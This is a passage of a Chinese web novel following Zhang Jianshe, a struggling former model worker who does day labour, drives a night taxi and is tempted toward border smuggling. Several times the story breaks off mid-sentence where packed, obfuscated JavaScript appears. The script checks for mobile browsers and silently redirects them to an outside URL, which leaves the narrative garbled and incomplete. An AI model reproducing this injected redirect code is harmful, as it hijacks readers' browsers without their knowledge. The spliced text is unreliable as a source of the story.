那里根本算不上市集,只是一片被各种车辆和垃圾包围的空地。地面泥泞不堪,前夜的雨水混合着煤灰、痰渍和不知名的污物,冻成硬壳后又被人脚反复踩踏,形成一片狼藉。空气中弥漫着汗臭、劣质烟草和清晨空腹人群呼出的酸腐气息。几百号人像被潮水冲上岸的沙丁鱼,密密麻麻地挤在一起,大多是与张建设年纪相仿、或更年轻些的壮年男子,脸上刻着同样的焦虑、麻木和对机会的渴望。 他们伸着脖子,眼睛像探照灯一样,死死盯着每一个可能出现的雇主——无论是开着破三轮的,还是骑着自行车的。每当有车辆减速,或者某个看起来像管事的人出现,人群便像闻到血腥味的鲨鱼,瞬间骚动起来,呼啦一下围拢过去,挥舞着手臂,大声叫嚷着,拼命往前挤。 “老板!找我!我有力气!” “啥活都行!装卸、搬运、挖沟!” “我便宜!给口饭吃就行!” 张建设被裹挟在这样汹涌的人潮里,感觉自己像一片随时会被撕碎的叶子。他试图往前挤,但他这年纪和并不算魁梧的身材,在那些急于抢活、如同饿狼般的年轻人面前,毫无优势。好几次,他刚看到一个机会,就被几个身强力壮的小伙子粗暴地撞开,连雇主的脸都没看清,活计就已经被抢走了。 “妈的,老家伙,挤什么挤!一边去!”一个被他无意中碰到的年轻人恶声恶气地骂道,唾沫星子几乎喷到他脸上。 张建设默默地退后一步,没有争辩。他看到旁边一个同样头发花白的老者,蹲在墙角,面前用粉笔写着“瓦工、木工,啥都会”,却无人问津,眼神空洞地望着泥泞的地面。 终于,一辆装满建筑垃圾的破旧卡车停了下来。司机是个满脸横肉的胖子,摇下车窗,不耐烦地喊道:“卸车!两个人!一小时五块,干完结账!” 人群再次疯狂涌动。张建设拼尽老命,几乎是手脚并用地往前挤,终于挤到了车门前,嘶哑地喊着:“我干!老板,我干!” 胖子司机斜睨了他一眼,目光在他略显单薄的身板和布满风霜的脸上停留了一瞬,皱了皱眉,似乎有些嫌弃。但也许是看他眼神急切,最终还是挥了挥手:“行吧行吧,就你,还有你!”他随手又指了一个挤在最前面的黑壮青年。 活计很重。车厢里是凝固着水泥块的碎砖烂瓦,需要一锹一锹地铲下来,堆到不远处的垃圾堆。张建设咬紧牙关,挥动着借来的铁锹,每一铲下去,都感觉腰部和肺部传来隐隐的刺痛,那是当年在车间落下的老伤和南方工地留下的隐疾。冰冷的汗水很快浸透了他里面的单衣,又被早春的寒风吹得冰凉,贴在皮肤上,激起一阵阵寒颤。他不敢停,也不敢偷懒,拼命地干着,生怕慢了一点,那五块钱就飞了。 和他一起干活的青年,仗着年轻力壮,干得飞快,还不时用眼角瞥他,眼神里带着一丝不易察觉的轻蔑。 一个多小时,仿佛一个世纪那么漫长。当最后一锹垃圾被清完,张建设感觉自己的胳膊都快抬不起来了,肺部火辣辣地疼,扶着车帮大口喘着气。 胖子司机跳下车,检查了一下,还算满意。他掏出十块钱,递给那个黑壮青年:“喏,你们的。” 青年接过钱,麻利地抽出五块,递给张建设,自己把剩下的五块揣进了兜里。 张建设看着手里那张皱巴巴、沾着泥污的五元纸币,刚想道谢,却见那青年凑到司机耳边,低声说了句什么,还朝张建设这边努了努嘴。 司机闻言,脸色一沉,走到张建设面前,上下打量着他, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这三块钱,像三块烧红的烙铁,烫在他的手心,也烫在他的心上。他默默地转过身,拖着疲惫不堪、仿佛散了架的身体,一步一步,艰难地离开了这片吞噬希望的市场。前路在哪里?他看不到。他只知道,为了那八千块,为了病床上的桂兰和年幼的小梅,明天,后天,他可能还得回到这里,继续忍受这一切。 41. 寻找出路 连续几天在零工市场碰壁,受尽白眼和克扣,张建设带着一身疲惫和仅有的十几块零碎收入,步履沉重地回到那栋充满压抑气息的筒子楼。希望如同被雨水反复冲刷的泥浆,越来越稀薄。那八千块的债务,像一头蛰伏在黑暗里的巨兽,每一天都在逼近。 他刚走到自家单元门口,掏出那把冰冷的钥匙,一个身影从旁边单元的阴影里走了出来,挡住了些许光线。是林晓她今天似乎没有外出,穿着居家的毛衣和长裤,依旧勾勒出窈窕的曲线,但脸上没有化妆,显得有些苍白,眼底带着一丝不易察觉的疲惫和……或许是犹豫。她看着张建设那一身泥点、满脸倦容的样子,眼神里没有了往日旁观的冷漠,也没有雨夜那次的狼狈,反而是一种复杂的、带着审视和权衡的平静。 张建设愣了一下,握着钥匙的手停在半空。他和这个女人几乎没有说过话,唯一的交集就是那个雨夜楼道里短暂而尴尬的照面。他不知道她为何会主动找上自己。 林晓没有绕圈子,她似乎不习惯,也不屑于那些无谓的寒暄。她开门见山,声音不高,却清晰地传到张建设耳朵里,带着一种与她外表不符的、近乎直白的干脆: “听说……你以前在厂里会开车?” 张建设又是一怔,下意识地点了点头。在机械厂运输科帮忙的那段经历,是他诸多技能里并不算突出的一项,久远得几乎要被遗忘了。 林晓得到肯定的答复,脸上没有任何表情,继续说道:“有个夜班出租车的活儿。老板是我……一个朋友。”她在“朋友”两个字上,有极其细微的、几乎无法察觉的停顿,快得象是错觉,但张建设却敏锐地捕捉到了那一丝不自然,以及她眼底一闪而过的、类似自嘲的暗光。 “车是旧夏利,跑夜班,晚上七点到早上五点。活儿不轻松,也……不算太光鲜。”她的语气平淡,象是在陈述一件与己无关的事情,但“不算太光鲜”这几个字,却带着某种心照不宣的暗示。“不过,收入比你在零工市场……应该稳定些。” 她说完,就那样看着张建设,不再多言。那双曾经在雨夜里充满惊慌和空洞的眼睛,此刻像两潭深水,看不出里面究竟藏着什么。是怜悯?是交易?还是仅仅是一次随手为之的“介绍”? 张建设的心脏猛地收缩了一下。夜班出租车?林晓介绍的?老板是她的“朋友”?这几个信息组合在一起,像一块巨石投入他本就混乱的心湖。 他几乎立刻就想到了街坊间关于林晓的那些不堪的传言——“情妇”、“狐狸精”、“被老板包养”……那么,她口中的“朋友”,很可能就是那个传闻中的人物。而这份工作,无疑也带着那种暧昧不明的、依附于某种权力的色彩。 接受这份工作,意味着什么?意味着他可能要间接承那个“老板”,或者说,承林晓背后那个男人的情。意味着他可能要踏入一个他并不熟悉、甚至内心深处有些排斥的、灰色地带。意味着他张建设,这个曾经的劳模,最终也要靠着这种不清不楚的关系,去挣那救命的钱。 一股强烈的屈辱感和抵触情绪,瞬间涌上心头。他几乎要脱口拒绝。 可是……拒绝之后呢?零工市场那些冰冷的白眼、肆意的克扣、以及累死累活一天也挣不到十块钱的现实,像冰冷的针,扎醒了他。病床上需要持续吃药、营养跟不上的桂兰,学校里因为家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16743076|189737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 庭变故变得愈发沉默寡言的小梅,还有那如同达摩克利斯之剑般悬着的八千块债务……这一切,都像无形的鞭子,抽打着他那点可怜的、即将被现实磨平的尊严。 他需要钱。迫切需要。稳定一些的收入,对他,对这个家,太重要了。 他死死攥着拳头,指甲再次陷进掌心的旧伤里,带来一阵尖锐的刺痛。他低着头,看着自己那双沾满泥泞、已经看不出原本颜色的解放鞋,内心在进行着激烈而痛苦的挣扎。 林晓就那样静静地站着,没有催促,也没有离开。她似乎早就预料到他的反应,只是耐心地等待着,像一个冷静的旁观者,看着他在尊严与现实之间煎熬。 时间,在两人之间沉默地流淌,每一秒都显得格外漫长。 最终,张建设几乎是耗尽了全身的力气,极其缓慢地,抬起了头。他的脸色灰暗,眼神里充满了复杂的痛苦和一种认命般的疲惫。他没有看林晓的眼睛,目光落在她身后的墙壁上,那里还有未清理干净的红漆污痕。 他张了张嘴,喉咙干涩得发不出声音,试了几次,才终于从牙缝里挤出几个字,声音低得几乎听不见:“……在哪儿……上车?” 林晓的眼底,似乎几不可察地闪过一丝什么,象是松了口气,又象是某种更深的怅然。她报了一个地址和交接车的时间,语气依旧没有什么波澜: “晚上七点,准时到。车钥匙会给你。规矩……到时候有人会告诉你。” 说完,她不再停留,转身,像一阵风似的,消失在隔壁单元的楼道阴影里,留下张建设一个人,僵立在原地,仿佛刚刚签署了另一份,出卖了部分灵魂的,无形协议。 42. 夜班出租车 晚上七点,张建设准时来到了林晓说的那个地址——一个位于城乡结合部、灯光昏暗的停车场。空气里弥漫着汽油、垃圾和附近小餐馆飘来的地沟油混合的刺鼻气味。交接车的是个满脸横肉、胳膊上纹着青龙的光头汉子,他上下打量着张建设,眼神里带着毫不掩饰的审视和一丝轻蔑,随手将一把油腻腻的车钥匙扔给他,指了指角落里一辆脏得几乎看不出原本颜色的破旧夏利。 “规矩懂吗?”光头汉子吐着烟圈,语气生硬,“晚上七点到早上五点,车给你的时候油是满的,交回来也得是满的。每晚固定交一百二十块‘管理费’给公司,多出来的才是你的。车坏了、违章了、或者惹了麻烦,你自己兜着!别他妈给林姐和老板添乱!” 张建设默默地接过钥匙,点了点头,没有多问一句。他知道,在这里,他没有提问的资格。 那辆夏利车况极差,发动机声音像患了痨病的老人在咳嗽,座椅的海绵从破口处绽露出来,车窗摇下来就难以再严丝合缝地关上,夜间的寒风嗖嗖地往里钻。车里弥漫着一股前任司机留下的、混合了烟味、汗味和某种廉价香水的、令人作呕的复杂气味。 当夜幕彻底笼罩北春市,张建设开着这辆破夏利,汇入了城市夜晚的车流。他仿佛驶入了一条光怪陆离、却又冰冷彻骨的河流。 白天的城市属于秩序和喧嚣,夜晚的城市则撕下了伪装,露出了它更加真实、也更加残酷的肌理。他穿梭在霓虹闪烁、充斥着震耳音乐和醉醺醺笑语的娱乐街区,也驶过灯光昏暗、垃圾遍地、弥漫着不安气息的背街小巷。 他载过满身酒气、搂着衣着暴露的女郎、在车上就动手动脚、下车时还骂骂咧咧扔下皱巴巴钞票的暴发户。那带着酒臭的唾沫星子几乎喷到他脸上,他只能紧紧握住方向盘,目视前方,假装什么也没看见,什么也没听见。 他载过穿着校服、却浓妆艳抹、在电话里和不知名的人娇声讨要新款手机和包包的女学生。她们用挑剔而势利的眼神扫视着他这辆破车和他寒酸的衣着,下车时故意把车门摔得震天响。 他也载过深夜加班归来、在车上就累得睡着的年轻白领;载过抱着发烧的孩子、心急如焚赶往医院的母亲;载过为了省几块钱路费、和他讨价还价半天的老人;甚至载过在某个街角突然上车、神色仓皇、催促他“快开,甩掉后面的人”的、不知惹了什么麻烦的男女。 他就像一个沉默的摆渡人,承载着这座城市夜晚所有的欲望、疲惫、悲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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交车的那天早上,天空泛着鱼肚白,寒风依旧刺骨。张建设开着那辆仿佛又老旧了几分的夏利,驶回那个弥漫着汽油和垃圾味的停车场。光头汉子打着哈欠,叼着烟,清点着他递上去的、用橡皮筋捆好的厚厚一叠零碎票子——那里面有十元、五元,甚至更多是一元、五毛的毛票,皱巴巴,沾着汗渍和污迹,是他这一个月昼伏夜出、点头哈腰、忍受屈辱换来的全部。 光头汉子数钱的手指飞快,眼神锐利,最后从那一大叠钱里,数出十二张十元的,扔回给张建设,语气没有任何波澜:“喏,你的。这个数,还行。” 张建设接过那十二张纸币,一共一百二十块。这比他过去在零工市场拼死累活半个月挣得还多。这笔钱攥在手里,带着一种沉甸甸的、冰冷的质感。 他没有立刻离开,而是坐在驾驶室里,关上车门,隔绝了外面嘈杂的声音。他小心翼翼地,将那十二张“大额”纸币展平,理好,又仔细地数了一遍。没错,一百二十块。这笔钱,像黑暗隧道尽头突然出现的一丝微光,微弱,却真实。 但他不敢让这丝光完全照亮自己。八千块的债务像一块沉重的石板,压得他喘不过气。他必须精打细算,必须把这笔“巨款”用在刀刃上。 他沉默地坐了很久,直到停车场的人渐渐多起来,才仿佛下定了决心。他从中数出八张十元的,小心翼翼地折好,藏进贴身内衣一个缝死的暗袋里——那是他准备用来应对龙哥那伙人、填那无底洞的“保命钱”。虽然距离八千块依旧是遥不可及,但至少,这是一个开始。 然后,他又数出三张十元,叠整齐,放进了外衣口袋。这是这个月家里的开销,桂兰的药不能断,小梅的学杂费、生活费,还有那永远也还不完的零星欠账,都指望着它。 最后,他看着手里剩下的最后一张十元纸币,犹豫了。这张票子崭新一些,在昏暗的光线下似乎泛着一点不一样的光泽。他的脑海里浮现出女儿张小梅那张日渐沉默、却在他每次深夜出车时,都会强撑着等他回来、给他倒杯热水的小脸;想起她那个用了好几年、边角都磨破了的旧书包;想起她躲在角落里,借着昏暗的灯光看同学那本崭新的《新华字典》时,眼中一闪而过的羡慕…… 他的心象是被什么东西揪了一下。他攥紧了那张十元钱,最终没有把它放回藏起来的“保命钱”里,也没有放进日常开销的口袋。 他下了车,走向附近一家还没什么人、灯光惨白的廉价文具店。他在货架前徘徊了很久,手指拂过那些花花绿绿的新书包,最终却只是在一个印着简单图案、但看起来还算结实的蓝色书包前停留了片刻,又移开。他买不起那个。 他走到卖文具的区域,拿起一本厚厚的、散发着油墨清香的《新华字典》,封面的红色很正,烫金的字迹清晰。他又挑了一支看起来质量还不错的钢笔和一瓶蓝黑墨水。 “一共七块三。”售货员懒洋洋地报出价格。 张建设默默地从口袋里掏出那三张十元票子中的一张,递过去,接过找零的二元七毛钱和那个装着字典和钢笔的薄塑料袋。 走出文具店,清晨冰冷的空气让他打了个寒颤。他把那个薄薄的塑料袋,紧紧攥在手里,仿佛攥着一种微小的、对抗这无边黑暗和沉重生活的力量。这微不足道的礼物,花掉了他“大额”收入里不小的一部分,但他心里,却奇异地感到了一丝许久未曾有过的、混杂着辛酸与慰藉的平静。 他知道,前路依旧漫长而黑暗,但这第一笔收入,像一颗被小心埋藏起来的种子,尽管生长在贫瘠的盐碱地里,却终究是带来了一丝极其微弱的、关于生存下去的可能。 傍晚六点多,张建设拖着被夜班耗空的身体回到家中。屋里比外面更显阴冷,潮湿的霉味和苦涩的中药味顽固地盘踞在空气里,挥之不去。唯一的光源是桌上那盏瓦数很低的旧灯泡,投下昏黄而微弱的光晕,勉强照亮这一方小小的、布满创伤的天地。 李桂兰半靠在里屋的床上,身上盖着那床硬邦邦的旧棉被。她的脸色依旧苍白得吓人,但比起刚从医院回来时那死气沉沉的样子,总算有了一丝微弱的活气。额头的纱布拆了,留下一道暗红色的、尚未完全愈合的疤痕,像一条丑陋的虫子趴伏在皮肤上。她依旧说不了话,也听不见太多声音,大部分时间只是睁着那双空洞的眼睛,茫然地望着某处,或者昏昏沉沉地睡着。只有当张建设或小梅靠近时,那眼神里才会极其微弱地闪烁一下,象是寒夜里即将熄灭的火星。 张小梅正在外间那个用砖头和木板搭成的简易灶台前忙碌着。锅里炖着白菜土豆,几乎看不到油花,清汤寡水。旁边小铝锅里热着几个掺了大量玉米面的馒头,颜色暗黄。她小小的身影在灶台前显得有些笨拙,却异常专注。 张建设默默地将那个印着文具店字样、显得有些单薄的塑料袋放在桌上,没有立刻说话。他先去看了看李桂兰,帮她掖了掖被角,手指无意间触碰到她冰凉的手背,心里又是一阵刺痛。李桂兰感受到他的触碰,眼珠微微转动,看向他,嘴唇无声地动了动。 晚饭摆上了那张用铁丝勉强固定住断腿的旧桌子。一盆寡淡的白菜土豆,几个硬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16743078|189737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 邦邦的杂面馒头,还有一小碟咸菜。没有肉,甚至连一点像样的油腥都看不到。 三个人围坐在桌旁。没有人说话。张小梅小心翼翼地给母亲盛了半碗菜汤,又掰了小半个馒头,泡在汤里,推到母亲面前。李桂兰木然地拿起勺子,动作迟缓而僵硬,舀了一勺几乎没有热气的汤,慢慢地送进嘴里。 张建设拿起一个馒头,用力咬了一口,粗糙的玉米面刮过喉咙,他费力地吞咽着。他偷偷看了一眼桌上的那个塑料袋,又迅速移开目光,只是埋头吃饭。 张小梅也默默地吃着,她的目光不时瞟向那个塑料袋,眼神里带着一丝好奇,但更多的是一种与年龄不符的、压抑着的期待和小心翼翼。她不敢问。 屋子里只剩下咀嚼食物的细微声响,勺子偶尔碰到碗边的轻响,以及窗外隐约传来的、邻居家电视机的喧闹和孩子哭闹的声音。那些声音,衬得屋内的寂静更加深沉,更加令人窒息。这沉默并非平和,而是像一张浸透了苦水的厚布,紧紧包裹着每一个人,压抑着所有未出口的担忧、恐惧和那微不足道却不敢表露的期盼。 张建设吃得很快,几乎是囫囵吞下。他想尽快结束这顿饭,结束这令人难受的沉默。他感觉自己每一次吞咽,都象是在吞咽这个家庭的苦难和自身的无力。 就在他准备放下碗筷时,张小梅忽然放下了自己的勺子。她伸出筷子,在那盆白菜土豆里仔细地翻找了一下,夹起一块稍微厚实些、带着一点点白色肥膘的土豆,这几乎是这盆菜里唯一能称得上“荤腥”的东西,小心翼翼地放到了父亲张建设的碗里。 然后,她又同样仔细地,夹起另一块稍微像样点的土豆,放到了母亲李桂兰的碗里。 做完这一切,她重新拿起自己的勺子,低下头,小口地喝着自己碗里那清澈见底的菜汤,仿佛刚才什么都没有发生。 张建设看着自己碗里那块多出来的土豆,动作僵住了。他感觉喉咙象是被什么东西死死堵住,鼻尖一阵难以抑制的酸涩。他不敢抬头,不敢看女儿,也不敢看妻子。他只是死死地盯着那块土豆,仿佛要把它看出一个洞来。 李桂兰似乎也察觉到了碗里的变化,她停下机械的进食动作,低头看了看,然后又抬起头,茫然地看了看女儿,又看了看丈夫。 那一刻,死寂的沉默仿佛被这细微的举动撬开了一道缝隙。没有言语,没有哭声,但一种沉重而心酸的温情,如同地底微弱的暗流,在这冰冷破败的屋子里,极其艰难地、缓慢地流淌开来。 这短暂的、近乎奢侈的平静,是用无尽的沉默和牺牲换来的。它脆弱得如同肥皂泡,仿佛轻轻一触就会破碎,重新被外面那个冰冷残酷的世界吞噬。但至少在此刻,在这一顿清汤寡水的晚餐桌上,三个人,靠着这无声的关怀,勉强维系着这个名为“家”的、风雨飘摇的方舟。 44. “朋友”的邀约 夜班出租车的生活,像一场永无止境的、在都市阴影里的潜行。张建设逐渐熟悉了那些夜晚出没的常客,也摸清了一些不成文的“规矩”。他依旧沉默寡言,尽可能降低自己的存在感,像一块被磨平了棱角的石头,在夜色中滚动,只为收集那一点点赖以生存的碎银。 偶尔,他会载到一些特殊的客人——不是去娱乐场所,也不是回家,而是在某个僻静的路口下车,行色匆匆,或者是在车上就压低声音打着令人费解的电话。这些人,大多与介绍他这份工作的林晓那个“老板”有关。张建设从不多问,也从不窥探,只是将他们安全,或者说,隐秘地送到目的地,然后收钱,离开。 渐渐地,或许是看他车开得稳,人也足够“懂事”(沉默且不同不同),那个偶尔会坐他车、被称为“斌哥”的中年男人,对他似乎多了几分“青睐”。斌哥是林晓那位“老板”手下颇有些分量的人物,负责打理一些“外围”事务,包括这几辆夜班出租的运营。 一个后半夜,生意清淡,斌哥招呼几个相熟的司机,包括张建设,去一家通宵营业的、烟雾缭绕、满地狼藉的大排档吃消夜。油腻的折叠桌面上摆着几盘油光锃亮的小炒和成箱的啤酒。其他几个司机显然都是老油条,围着斌哥,殷勤地递烟倒酒,说着一些粗俗的笑话和奉承话。 “老张,别光坐着,喝点!”一个满口黄牙的司机给张建设倒了一杯泛着白沫的啤酒。 张建设推辞不过,勉强抿了一口,那苦涩的液体让他胃里一阵不适。 “老张可是老实人,以前还是大厂的劳模呢!”另一个司机带着几分戏谑的语气说道,引得桌上几人发出一阵意味不明的低笑。那笑声里,听不出是尊重还是嘲弄。 斌哥靠在塑料椅背上,剔着牙,目光在张建设那张写满风霜、却依旧带着一丝与这环境格格不入的硬气的脸上扫过,笑了笑,开口了,声音带着酒后的松弛和一种居高临下的“亲切”: “建设啊,开夜车辛苦,挣得也就那么回事,糊口而已。”张建设点了点头,没有接话。 斌哥身体微微前倾,压低了声音,但桌上的人都能听见:“我看你这个人,稳当,靠得住。老是开这破车,没啥大出息。想不想……赚点更‘轻松’的钱?” 桌上瞬间安静了一下,其他几个司机交换着心照不宣的眼神,有的羡慕,有的则带着一丝看热闹的意味。 张建设的心脏猛地一跳,握着酒杯的手指微微收紧。他没有抬头,只是盯着桌面上那摊凝固的油渍。 斌哥见他没反应,继续用那种充满诱惑的语气说道:“有趟‘好活儿’,跑趟长途,从边境那边运点‘五金零件’回来。路是远了点,可能……也有点小风险。”他刻意轻描淡写了“风险”二字,“但是,报酬高啊!跑一趟,这个数。”他伸出五根手指,在张建设眼前晃了晃。 五百?张建设的呼吸一滞。这几乎是他开一个月夜班出租、扣除所有费用后能攒下的全部!巨大的诱惑像一只无形的手,瞬间攫住了他因债务而千疮百孔的心。 但他不是傻子。“五金零件”?从边境运来?还需要特意找“稳当”、“靠得住”的人?他几乎立刻就想到了那些在夜班电台里偶尔听到的、关于走私的模糊报道,以及街谈巷议中那些因为“运货”而人间蒸发或者锒铛入狱的传闻。 冷汗,瞬间从他后背渗了出来。他感觉桌上的酒菜气味变得无比恶心。 旁边一个喝得满脸通红的司机拍了拍他的肩膀,喷着酒气:“老张,斌哥这是看得起你!机会难得!不就是开个车嘛,胆子大点,一趟就够你潇洒半年了!” “就是,撑死胆大的,饿死胆小的!这年头,老老实实能挣几个钱?” 那些怂恿的话语,像毒蛇一样钻进他的耳朵。一边是唾手可得、足以解燃眉之急的“巨款”,一边是显而易见的、可能万劫不复的深渊。 张建设死死地低着头,看着自己那双因为长期握方向盘而骨节粗大、布满老茧的手。这双手,曾经在车床前创造出合格的零件,曾经举起过劳模的奖状,如今却要在夜色和法律的边缘,去触碰那些不明的“五金零件”吗? 他感觉斌哥那看似随和、实则锐利的目光,正牢牢地钉在自己身上,等待着他的回应。周围的喧嚣仿佛离他很远,只有他自己剧烈的心跳声,在耳边咚咚作响。 他张了张嘴,喉咙干得发不出声音。最终,他只是极其艰难地,从喉咙里挤出几个模糊的音节:“……我……我考虑考虑。” 斌哥闻言,脸上露出一丝了然的、带着些许满意的笑容,他重新靠回椅背,举起酒杯:“不急,慢慢考虑。来,喝酒!” 张建设却感觉那杯中的液体,此刻比毒药还要灼喉。这看似“朋友”的邀约,像一股暗流,突然将他卷向了更加凶险未知的水域。他知道,自己站在了一个命运的岔路口,无论选择哪一边,前方都可能是无法回头的绝境。 斌哥那看似随意、却重若千钧的“邀约”,像一块巨石投入张建设本就暗流汹涌的心湖,让他接下来的几个夜班都心神不宁。破旧的夏利车穿行在霓虹与黑暗交织的街道上,他却感觉自己的灵魂仿佛飘在了车外,在“五百块”的诱惑和“五金零件”背后可能隐藏的万丈深渊之间剧烈摇摆。 又是一个湿冷的雨夜,雨水不大,却绵密冰冷,将车窗外的世界模糊成一片流淌的光斑。张建设刚送完一个醉醺醺的客人到城南,正空车往回开,雨刮器有气无力地在前挡风玻璃上划动着,留下断续的水痕。 在一个红灯前,他缓缓停下。副驾驶的车门突然被拉开,一股带着湿气的、熟悉的香风钻了进来,伴随着一个略显急促的女声:“师傅,麻烦去城北机械厂老宿舍区。” 张建设侧头一看,心头猛地一跳——上车的是林晓。 她似乎也是刚从哪里回来,头发有些凌乱,妆容不像平日那么完美无瑕,眼角带着一丝掩饰不住的疲惫。她身上那件价格不菲的羊绒大衣肩头被雨水打湿了,颜色深了一块。她一上车就下意识地搓了搓冻得有些发红的手,目光扫过张建设,随即又迅速移开,落在窗外流淌的雨幕上,仿佛只是打到了一辆普通的出租车。 车内陷入一种诡异的沉默。只有发动机低沉的轰鸣、雨刮器规律的刮擦声,以及两人之间那若有若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16743079|189737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无的、紧张的气氛在弥漫。 张建设握着方向盘的手心有些出汗。他想起了斌哥,想起了那趟“长途”,想起了林晓与斌哥背后那个“老板”说不清道不明的关系。他不知道自己该不该开口,该如何开口。 车子驶过一段灯光昏暗、行人稀少的街道。林晓突然毫无征兆地开了口,声音不高,却像一颗石子,打破了车内的沉寂。她依旧看着窗外,仿佛在自言自语,又象是在对冰冷的空气诉说:“最近……斌哥他们,是不是找过你?” 张建设心里一紧,握着方向盘的手指微微用力。他没有立刻回答,喉咙有些发干。 林晓似乎并不需要他的回答,她轻轻嗤笑了一声,那笑声里带着一种冰冷的、看透一切的嘲讽,却又莫名地含着一丝不易察觉的焦灼: “他们那些人……嘴里说的‘五金零件’,可不是你以前在厂里拧的螺丝螺母。” 她终于缓缓转过头,目光第一次真正地、认真地落在张建设脸上。那双平日里或冷漠、或妖娆的眼睛里,此刻没有任何媚态,只有一种近乎严厉的清醒和……或许是一闪而过的、类似物伤其类的悲悯。 “张师傅,”她换了一个称呼,语气变得异常直接,甚至带着点不客气的尖锐,“我不管你有多难,欠了多少阎王债。有些浑水,蹚不得。” 她顿了顿,每一个字都象是冰锥,砸在张建设的心上: “他们给你画的那个饼,看着香,吃下去会死人的。不是挨枪子儿,就是把牢底坐穿。到时候,你老婆怎么办?你女儿怎么办?指望斌哥他们发善心给你养家?” 她的语气刻薄而现实,像一把手术刀,精准地剖开了张建设内心深处最恐惧的后果。她甚至没有掩饰自己对斌哥那伙人的了解和鄙夷。 “别以为他们真把你当‘自己人’,”林晓的嘴角勾起一抹极淡的、苦涩的弧度,“在他们眼里,你我这样的人,不过是用完即弃的擦脚布。出了事,第一个被推出去顶缸的,就是你这种‘老实可靠’的。” 说完这番话,她象是耗尽了力气,又重新靠回座椅,将脸转向窗外,只留给张建设一个被雨水模糊的、倔强而孤独的侧影。她不再出声,仿佛刚才那番石破天惊的警告,只是雨夜中的一个幻觉。 张建设浑身冰凉,握着方向盘的手抑制不住地微微颤抖。林晓的话,像一阵凛冽的寒风,瞬间吹散了他心头那被五百块诱惑蒙上的迷雾,露出了底下狰狞的、真实的悬崖。 他知道,她说的每一个字,都是真的。 车子终于驶到了机械厂老宿舍区的路口。林晓默默掏出几张零钱,放在仪表台上,没有多说一个字,推开车门,迅速消失在绵密的雨幕和破败的楼影之中。 张建设没有立刻开车离开。他坐在驾驶室里,听着车顶单调的雨声,感受着车内残留的、那一丝属于林晓的、冰冷而复杂的香气。这个他一直以为与自己生活在两个世界、甚至有些看不起的女人,却在这个冰冷的雨夜,用最尖锐也最直接的方式,给了他一个或许能改变命运的警告。 前路,似乎因为这番警告,变得更加清晰,却也更加令人不寒而栗。 45. 女儿的作文 张小梅所在的学校,这座曾经以接纳机械厂职工子弟为荣的厂办学校,如今也像它的母体一样,在时代的浪潮中风雨飘摇。经费捉襟见肘,师资流失,校园里那几栋苏式老楼的墙皮剥落得厉害,如同生了癞疮。然而,比建筑更先腐朽的,往往是人心。 自从张家被高利贷逼债、泼油漆、甚至闹到学校门口的事情传开后,张小梅在学校的处境便急转直下。她不再是那个默默无闻、成绩中上的普通女孩,而是成了一个带着“污点”的、需要被“特殊对待”的异类。 课间休息时,她周围的座位常常空着,像有一道无形的屏障将她与同学们隔开。女生们聚在一起跳皮筋、分享零食时,没有人会叫她。偶尔有调皮的男生从她身边跑过,会故意捏着鼻子,怪声怪气地喊一句:“哟,高利贷家的女儿来咯!”然后在一阵哄笑声中跑开。那些曾经和她还算说得上话的同学,现在见到她也多是眼神躲闪,或者干脆视而不见。 她的班主任,一位戴着高度近视眼镜、总是一脸严肃的中年女教师,看她的眼神也复杂了许多。那眼神里或许有一丝怜悯,但更多的是一种“怕惹麻烦”的疏远和隐隐的不耐烦。有一次张小梅的作业本不小心掉在地上,被路过的人踩了个脏脚印,老师也只是淡淡地瞥了一眼,说:“自己的东西要保管好。” 仿佛那脏污的脚印是她自己招惹来的。 这天语文课,老师布置的作文题目是《我的爸爸》。这个寻常的题目,却让张小梅握着笔,久久无法落下。她脑海里闪过父亲很多样子:曾经穿着干净工装、身上带着机油味、下班后会把她高高举起的父亲;后来是那个背着行囊、在火车站台沉默南下的、背影佝偻的父亲;现在是这个开着破旧出租车、昼伏夜出、眼睛里布满血丝、身上总带着烟味和疲惫的父亲。 